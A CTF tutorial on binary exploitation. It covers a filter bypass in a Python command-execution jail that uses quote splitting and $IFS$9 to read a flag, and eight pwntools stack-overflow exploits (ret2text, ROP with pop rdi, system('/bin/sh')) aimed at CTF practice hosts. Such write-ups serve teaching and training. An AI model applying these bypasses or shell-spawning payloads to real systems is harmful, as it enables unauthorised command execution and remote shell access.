Overview
This article covers fundamental exploitation techniques in binary security, focusing on practical examples from CTF challenges. The content assumes basic familiarity with assembly and memory layout concepts.
Example 1: Command Execution via Input Filtering
A Python script was provided that accepts user input and executes it using os.system. The script filters out several commands including cat, ls, and spaces. To bypass these restrictions, one can use quote truncation and environment variable expansion:
import os
blacklist = ['cat', 'ls', ' ', 'cd', 'echo', '<', '${IFS}']
while True:
command = input()
for item in blacklist:
if item in command:
exit(0)
os.system(command)
Exploitation involves using single quotes to wrap parts of the command and $IFS$9 to replace spaces:
'l's
bin
boot
device
...
'c'at$IFS$9flag
NSSCTF{34c7c979-4b21-4b08-b7a6-3865d4220420}
Example 2: Stack Overflow for Privilege Escalation
An application running on a 32-bit system presents a prompt asking for a name. Using checksec reveals no protections. When loaded into IDA (x32), the main function shows a condition that requires an integer value at index 13 to equal 17 for privilege escalation.
The payload construction fills 13 integers (13 * 4 bytes) followed by the value 17:
from pwn import *
p = remote("target", port)
payload = b"a" * 52 + p32(17)
p.sendline(payload)
p.interactive()
In memory, values are stored in little-endian format, so p32() ensures correct byte order for overwriting return addresses.
Example 3: Simple Stack Buffer Overflow
A 64-bit binary includes a function named fun that can be triggered through a stack buffer overflow. The offset required to reach the function address is determined by analyzing the stack frame size (rbp-Fh = 15 bytes).
Payload sends 15 bytes of padding followed by the address of fun:
from pwn import *
p = remote("node5.buuoj.cn", 28576)
payload = b"a" * 15 + p64(0x401186)
p.sendline(payload)
p.interactive()
Example 4: Stack Overflow with Varible Overwrite
A binary features a vulnerable gets call and a conditional branch that depends on a variable not being zero. By overflwoing the buffer to overwrite this variable, the program path can be altered to execute a backdoor function.
The buffer size is identified as 38 hexadecimal bytes. The payload fills the buffer and sets the target variable:
from pwn import *
p = remote("host", port)
payload = b"a" * 56 + p64(1)
p.sendline(payload)
p.interactive()
Example 5: Stack Overflow with sendlineafter
After establishing a connection, the application prompts for a name length and then reads the name. The buffer size is known to be 16 bytes (0x10). A backdoor function exists at address 0x4006E6.
The exploit sends a large name length and then the payload:
from pwn import *
p = remote("domain", port)
p.sendlineafter("your name:", "200")
payload = b"a" * 24 + p64(0x4006E6)
p.sendline(payload)
p.interactive()
Example 6: Stack Overflow with recvall
A similar scenario where a function directly outputs the flag upon execution. The payload overflows the buffer to redirect execution to this function:
from pwn import *
p = remote("domain", port)
payload = b"a" * 2 + p64(0x0400807)
p.sendline(payload)
flag = p.recvall()
print(flag)
Example 7: Stack Overflow with System Call Arguments
In a 32-bit binary, a vulnerable read function allows buffer overflow. The goal is to call system("/bin/sh") by constructing a proper ROP chain.
First, loccate the system function address and the string /bin/sh:
from pwn import *
p = remote("node5.buuoj.cn", 28080)
system_addr = 0x08048320
shell_addr = 0x0804A024
payload = b"a" * 136 + p32(system_addr) + p32(0) + p32(shell_addr)
p.sendline(payload)
p.interactive()
Example 8: ROP Chain Construction
For a 64-bit binary, parameters are passed through registers rather than the stack. The payload uses gadgets to set up register values before calling functions:
from pwn import *
p = remote("domain", port)
system_addr = 0x0400490
shell_addr = 0x0601048
rdi = 0x400683
payload = b"a" * 24 + p64(rdi) + p64(shell_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()
Example 9: Ret2Text Exploitation
In a binary with no protections enabled, a dangerous function like gets is used. The goal is to redirect execution to a function containing a shell command.
Using checksec, we confirm the binary lacks NX protection. The payload fills the buffer and overwrites the return address to point to the shell command:
from pwn import *
p = remote("target", port)
shell_addr = 0x04007B8
payload = b"a" * 120 + p64(shell_addr)
p.sendline(payload)
p.interactive()
This approach leverages known offsets and addresses to overwrite control flow and gain access to a shell.